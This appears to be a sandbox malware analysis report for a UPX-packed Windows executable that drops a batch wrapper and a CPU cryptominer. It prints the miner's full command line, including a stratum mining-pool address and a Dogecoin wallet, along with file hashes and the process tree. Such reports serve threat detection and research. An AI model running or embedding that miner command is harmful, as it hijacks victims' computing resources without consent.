73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
296s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
19/02/2024, 14:36

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1376	b2e.exe
5112	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5112	cpuminer-sse2.exe
5112	cpuminer-sse2.exe
5112	cpuminer-sse2.exe
5112	cpuminer-sse2.exe
5112	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1092-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1092 wrote to memory of 1376	1092	batexe.exe	74
PID 1092 wrote to memory of 1376	1092	batexe.exe	74
PID 1092 wrote to memory of 1376	1092	batexe.exe	74
PID 1376 wrote to memory of 4844	1376	b2e.exe	75
PID 1376 wrote to memory of 4844	1376	b2e.exe	75
PID 1376 wrote to memory of 4844	1376	b2e.exe	75
PID 4844 wrote to memory of 5112	4844	cmd.exe	78
PID 4844 wrote to memory of 5112	4844	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1092
- C:\Users\Admin\AppData\Local\Temp\AE70.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AE70.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AE70.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B3BF.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4844
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AE70.tmp\b2e.exe

Filesize
1.1MB

MD5
c8ddb9a1b99b955d28ce987616dc783a

SHA1
6a50a41aac042de84cbe5fe9cfa8ef171c1a15ba

SHA256
d42d045c7eaec84a0576fa2d1e67566cd65686605e6f66217c2da6ec9faa060a

SHA512
8804aa717bb5d9a88543175afd4ed3363ae6d1ff9846379f9bbfb7ff1b49cf0031fd6b1cbb0b1491a94d1158663021c8bf56c47050f3192b62a0c5bb5499d397

Download Submit
C:\Users\Admin\AppData\Local\Temp\AE70.tmp\b2e.exe

Filesize
1.2MB

MD5
66667e8dd0e7fb71650348f77b9565e8

SHA1
d6d1a5db44ffcc793946e0cce77fbdcb5628022d

SHA256
dc5d811c7b674436dc947e82a8b745456f6011b8c65bc448ae9179ec4678b128

SHA512
c8ada18583a10c741038510faf2d748f60034443244c7cb55eb8b935b4ef9c11afa59e49ac589e621b4d0257c073988fb6c999823ad76e03cf0baddcf1ef0b74

Download Submit
C:\Users\Admin\AppData\Local\Temp\B3BF.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
da6b6b66d01c31be439e85594e739114

SHA1
add83d8e672c454678ef4b5877f3657f9df3a386

SHA256
f8e16ed50c5bbecc3ef145d2faa0e205400459f637604df1f603bf04f4b1445f

SHA512
09ed7b5adc85a19d424cf301faff2ba3484bf840f440a4c2eab96166e57c0ec5f76b4ae1f14b9fcdf576d1cfea5431e7134b6cb1dc7906b61480a2f055400f48

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
eabb0a063b390660ebc9112f90a4719f

SHA1
fd631b325d66e820cd50c0b4ca2adefb6ed1132c

SHA256
80e5be79952f2a7acc4d81e693c650e2ce411492ac37a90739a03098cfe7c499

SHA512
9cf427530701c3bc825a4099644105b3a8b00e93c7a59cbdeef1e967ddb002ef3d22c51ead93ece652064328cd212b8cd7a961eb0e5b05e3696f6340375b9741

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
548ef14dd11f21b1b9afda075d46d822

SHA1
b4a5ff0145dc5a1db91889b97b363ca7cbd9f290

SHA256
74cc291f1744eb3a7bdb0ca423abf8f8bcf8169eaa155b06740ba55875666ef1

SHA512
c01bf9b8361f6f04fc0363185a35198740950a9dd6de003b30b3b8646c8bba604f4627a171540c8f0f6f14afb9caa76346faaebf90e1d64c54d4a9d2596a5ee2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
70876af086248a28a1cde9ebd2867ceb

SHA1
9881b3f43b4b0197e36cc15aed568067f458bbac

SHA256
ad2bb3712f8db4a94029cbd9b7bfc02056505d8f5827ce502e064829ae35b35b

SHA512
9779bc2ea47851a6fbd5ed1b4f0db43cb9695a8d212df2b7b5255f2c6cc914f4c7f138664864255130a3a7e2c492ca2f5afb450598facaebb27e0dcc49885276

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
729884cd2a3295617e5afb65ad068e58

SHA1
d7fd88dd0df3494d6009e2f009765e20e4d9fa80

SHA256
14c7190b6fc8d4d6b06c54cf46c8503148db924cadc5ce4574c595f9d76db1f6

SHA512
071a0e3843929284db7d1caa9718722cad3f0cbdf62239cdfaf74cbc519fdbaafc6055a7f99a68499080cb8c8c8dbe0c06a68b3392d981936beaedc0fb1ab37c

Download Submit
memory/1092-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1376-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1376-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5112-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5112-43-0x0000000067DF0000-0x0000000067E88000-memory.dmp

Filesize
608KB

Download
memory/5112-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5112-44-0x0000000001160000-0x0000000002A15000-memory.dmp

Filesize
24.7MB

Download
memory/5112-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5112-53-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5112-58-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5112-63-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5112-68-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5112-73-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5112-78-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5112-83-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5112-88-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5112-93-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download